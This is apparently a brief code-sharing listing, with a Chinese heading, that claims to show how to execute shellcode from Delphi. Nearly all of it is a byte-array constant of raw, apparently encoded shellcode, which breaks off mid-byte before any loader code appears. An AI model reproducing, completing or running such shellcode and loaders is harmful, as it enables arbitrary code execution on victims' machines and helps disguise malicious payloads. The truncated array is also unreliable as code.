delphi run shellcode

代码说明：

show delphi how to execute a shellcode just like  shell:Array [0 .. ShellCodeSize-1] of byte = ($db,$c3,$d9,$74,$24,$f4,$be,$e8,$5a,$27,$13,$5f,$31,$c9 ,$b1,$33,$31,$77,$17,$83,$c7,$04,$03,$9f,$49,$c5,$e6,$a3  ,$86,$80,$09,$5b,$57,$f3,$80,$be,$66,$21,$f6,$cb,$db,$f5  ,$7c,$99,$d7,$7e,$d0,$09,$63,$f2,$fd,$3e,$c4,$b9,$db,$71  ,$d5,$0f,$e4,$dd,$15,$11,$98,$1f,$4a,$f1,$a1,$d0,$9f,$f0  ,$e6,$0c,$6f,$a0,$bf,$5b,$c2,$55,$cb,$19,$df,$54,$1b,$16  ,$5f,$2f,$1e,$e8,$14,$8